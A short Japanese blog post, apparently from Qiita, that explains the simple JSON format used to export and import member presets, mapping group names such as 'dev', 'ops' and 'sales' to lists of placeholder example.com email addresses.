![screen-import.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/926617/bf68b138-a6f9-f7f6-effd-b5c95338d251.png)


# プリセットの JSON 形式
 
エクスポートした文字列を見てもらうとわかるのですが、以下のようにごく簡単な JSON 形式となっています。

```
{
"プリセット名1":["メンバーのメールアドレス","メンバーのメールアドレス", ...],
"プリセット名2":["メンバーのメールアドレス","メンバーのメールアドレス", ...],
"プリセット名3":["メンバーのメールアドレス","メンバーのメールアドレス", ...],
...
}
```

（サンプル）

```json
{
"dev":["tanaka@example.com","suzuki@example.com", "sato@example.com"],
"ops":["yamada@example.com","takagi@example.com"],
"sales":["shirai@exapmle.com","yamamoto@example.com","hirata@example.com"]
}
```

メンバーのメールアドレスのリストがあれば簡単にプリセットの JSON を自作してインポートすることができます。

便利ですのでぜひお試しください。